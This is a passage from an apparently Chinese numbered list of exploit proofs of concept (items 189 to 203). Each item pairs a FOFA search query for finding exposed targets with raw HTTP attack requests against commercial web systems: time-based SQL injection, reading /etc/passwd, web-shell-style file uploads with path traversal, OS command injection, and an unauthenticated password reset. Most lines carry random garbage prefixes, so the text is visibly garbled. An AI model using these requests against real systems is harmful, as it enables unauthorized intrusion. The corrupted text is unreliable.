; N! R8 I2 p" u6 B" ~( LAccept-Encoding: gzip, deflate
* f: M7 X) R8 k( x/ p4 SAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
8 ~2 x& x  `* s2 p0 ^
8 |& k* K" p4 m1 m. Y
& U1 B( J6 _5 j/ K- \% {" Z4 H( I189. 蓝网科技临床浏览系统 deleteStudy SQL注入
# S7 i1 j: a- X2 e- v! `  \FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
/ X# }; }, _2 H7 Y; ^) ]# hHost: your-ip
4 s2 G( a; w. P3 D' \( gUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ o1 v1 i4 ?2 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# p- _4 }" z- W# mAccept-Encoding: gzip, deflate
( q; S! x$ ]' p6 M4 t+ F" [Accept-Language: zh-CN,zh;q=0.9
Connection: close
! j# E; m$ x% G. \
9 {# i3 S6 p- t3 s$ L! r& `
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
3 y! M0 {8 V7 t$ {4 b0 o9 \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
0 H" W' H& ^5 ~: A1 O0 l" qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
# @4 }& V  ~/ X5 k0 i( `Accept-Encoding: gzip, deflate
) a; [0 O/ m  y1 TAccept-Language: zh-CN,zh;q=0.9
  |2 H& {* l! ~1 U
* i0 x' `. K' Z* k' }1 apoi=file:///etc/passwd
. Q- s' X2 M2 e; }8 a
" I1 r& C# I: v# R6 `3 }8 r, t
# t8 p& }0 x7 ]6 P+ y191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
0 n! a: B5 b" ~FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
9 x0 \0 o$ L7 n" _) t1 E1 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# }+ x# P6 c# Y4 W
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
( U( L! l5 I+ I7 c5 U: t% y
; K) _% A  |7 {: y' e8 O7 [
/ W( ?- Y, i: Z# V192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
/ A0 Q: @: b9 HFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
- m4 `! `+ ]: C: m. q  M" aHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
, _& j% Y4 p. K& o( w/ Y; `Content-Type: application/x-www-form-urlencoded
  d/ E1 q- B+ N/ b" Z
( P* N7 }1 ?2 [$ M* y: Q
) f8 ]$ q- j& y0 M8 P6 O! W<% @ webhandler language="C#" class="AverageHandler" %>
% J  C5 `/ P8 j3 I! H& yusing System;
& f& S$ v0 D- r4 E* Lusing System.Web;
! q' x) s  b2 |. k' p9 J) Q$ gpublic class AverageHandler : IHttpHandler
/ w: d" b. H* w{
public bool IsReusable
' @+ E  [- P6 }+ c+ H{ get { return true; } }
4 X, q* @8 G, w( a. \; |) mpublic void ProcessRequest(HttpContext ctx)
$ P8 [" Z* V3 s) `% {{
6 b- }* }: m7 {$ p. Hctx.Response.Write("test");
}
2 S  x  e; U6 {}


5 t: Y* J! S. N1 N' H& Y193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
% p7 V% b1 E; R1 X6 m5 L2 yFOFA：body="山石云鉴主机安全管理系统"
; S/ d1 o) d4 I6 Y6 kGET /master/ajaxActions/getTokenAction.php HTTP/1.1
; |; |4 n8 s8 YHost:
Cookie: PHPSESSID=2333333333333;
4 R! ^! k" z6 T( nContent-Type: application/x-www-form-urlencoded
: w8 X  f7 T# i+ AUser-Agent: Mozilla/5.0

( o6 }# x# `) G' b! b$ c) V0 a7 U
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
" d! U/ u& ~* Y& d# rUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
( [3 C! j# W, _2 F' FAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
# A2 v6 V) ]0 H: I5 K6 V( PContent-Type: application/x-www-form-urlencoded
0 X6 }! g2 `: V% `1 O9 f  uContent-Length: 84
7 Z3 _* N  v) c" ]" G+ K; W
! U; A$ M4 M8 f7 ]' I6 Yparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
Host:
6 U: C  O3 @4 C! v. H' QUser-Agent: Mozilla/5.0


3 ?( I% o# n9 j6 b+ h2 ]+ H$ m* W7 @194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
1 j- t9 F1 D( {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" V% H4 {/ L8 F) U# D# c: ~- V+ t" lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ F) K$ j6 t! S0 `# U& Q6 M" YAccept-Encoding: gzip, deflate
* L& U. ^$ E# Z; ]: f% rConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
; O( n" A8 s% }" E5 o1 D6 Q------WebKitFormBoundaryKNt0t4vBe8cX9rZk
( H6 G, T& N6 y
8 O7 B( p& n0 P8 e  h0 |0 YContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
7 S* m# L0 k/ f; R8 {+ mContent-Type: text/plain
2 G: Q* v) x$ ^! E4 L) `& P<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
7 N% ?9 p! T/ s------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
1 d' P: a& ?: y  yFOFA：title=="飞鱼星企业级智能上网行为管理系统
1 v2 m4 _/ U8 H7 U1 KPOST /send_order.cgi?parameter=operation HTTP/1.1
/ x: ^2 H# s- b+ V- r7 hHost: 127.0.0.1
Pragma: no-cache
3 e" p& P& S- |0 m1 YCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
2 T( b! a- F, H* _7 P- J4 @3 h! N- t6 EAccept-Encoding: gzip, deflate
* `# t8 U$ P3 x$ u6 Y! dAccept-Language: zh-CN,zh;q=0.9
( K# X" _- e" X$ _7 EConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
1 p1 Y8 }$ a! Q& U4 j1 c
) F# m8 K; n1 @{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

. ]: I  y% j2 C) G
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
: w" Q& Y5 F! iPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
+ _( S. U  i; O3 a* H5 bHost:
) V/ k, d' V6 `8 B( G0 j2 gAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
5 c6 n/ u) m+ E3 G8 pConnection: close

{"xgh":"test","newPass":"test666","email":""}

5 E1 r' f3 f1 ?5 G' V% S

9 \. @+ E" B( O$ Q197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
8 ~& h* }, L6 K* a# [2 ?8 IFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
" t8 d0 ^7 F- z7 z, T  ?Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
( a* M6 ^+ Z: E) ?3 i: O3 sAccept-Encoding: gzip, deflate
3 s4 g9 B7 u& O( R; S, E1 T% r5 I1 bConnection: close

7 I5 H& f" f- |1 F
% S/ `/ h. W& s2 ^
198.  阿里云盘 WebDAV 命令注入
  {. t4 R5 J% |: m/ rCVE-2024-29640
) l3 H6 J" L+ [: s5 n" eGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
& O$ z5 a: O0 p5 K: H4 w3 iCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
! D6 Z. i8 R) N1 |7 @Connection: close
# }, j0 V8 @. S( `" _( H& g# C2 v

, W* i! h# ?% N199. cockpit系统assetsmanager_upload接口 文件上传
  d: ]" [# A9 d, ~) H, V6 l
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
" p6 N. [  l3 u* j4 S  rGET /auth/login?to=/ HTTP/1.1
! W3 U+ x7 r* c
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
  O' B! |- p# P+ _# BContent-Type: application/json
, V  t' \+ d, X! L6 V7 f
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
4 B( N0 w& x4 {
- b/ ?# B' ]( o. ?  p响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
; d& c% B- D3 C6 ?POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
( P7 n) F0 t) Y' UContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
, ]* M7 b% p) d' t, q6 n1 Y-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
" D; y5 ~. f  L3 e: h0 M; o/ J
-----------------------------36D28FBc36bd6feE7Fb3--
* I5 R- }0 `% [
$ a3 s, _2 q8 |' H! F! k0 j% F
2 B5 [* c& M  R$ Q( D/storage/uploads/tttt.php
* N* x" Q0 o7 Z0 C3 y* R
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
# g: I' M4 m2 Y* F5 s! o" X! xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 a' C2 }6 D- l8 G# uAccept-Encoding: gzip, deflate
2 s/ F' w* b* {& P% h! {  v" a$ W) ~Accept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
# b) t; d5 \2 c/ q' }9 [$ `  APOST /newsedit/newsplan/task/binary.do HTTP/1.1
8 h; @+ E  d3 C9 C3 L) PContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( _) S( W5 L2 J+ V) f/ B, t3 N6 uAccept-Encoding: gzip, deflate
4 F" A- H7 ^( R, ?Accept-Language: zh-CN,zh;q=0.9
6 O& O  ?7 W4 l( p  n" w* EConnection: close
( E( G4 ?4 _" m1 o" `
: c; a: z/ W  Z' hTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


202. 微擎系统 AccountEdit任意文件上传
, u0 E  o5 w6 p4 y% h9 G* jFOFA：body="/Widgets/WidgetCollection/"
. s# u/ E# V+ z6 l获取__VIEWSTATE和__EVENTVALIDATION值
" V& }( [5 f* S4 l1 FGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

3 C/ N" q% P! E( y3 q
替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
0 a  c8 G+ S. o+ z9 ~7 x( l6 T4 cContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
0 e( C& j) p1 X( R+ m
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

& l' `# B( t7 o3 Y( Y) _$ p1 I" J. a+ ]__VIEWSTATE
: M8 M- v1 [( b-----------------------------786435874t38587593865736587346567358735687
& Q. L: H; j. n, \( w, mContent-Disposition: form-data; name="__EVENTVALIDATION"
* N4 n% L) l! k( V
% w+ _) n4 t# Q" r+ h__EVENTVALIDATION
: A" [! g0 r8 H-----------------------------786435874t38587593865736587346567358735687
7 ?! |! J1 o% @# X/ W$ ?Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

$ h, W, i6 M2 G: |) I( @Hello World!
# w1 K& |" `8 A& T-----------------------------786435874t38587593865736587346567358735687
: F9 |# k. x! Q/ P" nContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
4 n/ t0 _$ Q. O# [-----------------------------786435874t38587593865736587346567358735687
8 R6 q, S1 x1 C0 s/ ZContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
* b3 e; ]* K% R9 B

& M, \+ j/ {1 z0 }$ f-----------------------------786435874t38587593865736587346567358735687--


4 i: G/ t6 m8 A, Q7 y" x/_data/Uploads/1123.txt

. m/ l1 ~& r/ e* a, M) j: |203. 红海云EHR PtFjk 文件上传
! G2 l- P* ^/ L- _6 |; j% ?& J/ OFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
* g. o7 `- S, B  {5 ^: q- R% t4 g9 KHost: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

, y* D5 f1 Q' {' ]' q/ ]' F4 ~9 x------WebKitFormBoundaryt7WbDl1tXogoZys4
( N& X" V$ @; B* rContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
2 A, k/ n. G! pContent-Type:image/jpeg

<% out.print("hello,eHR");%>
. d% U: F% P6 }% F6 }8 R------WebKitFormBoundaryt7WbDl1tXogoZys4--


" m+ [* n0 ?( L/ A! r1 n' Z. ?8 O


; x3 T9 M0 }, ?3 x2 M- `' W& `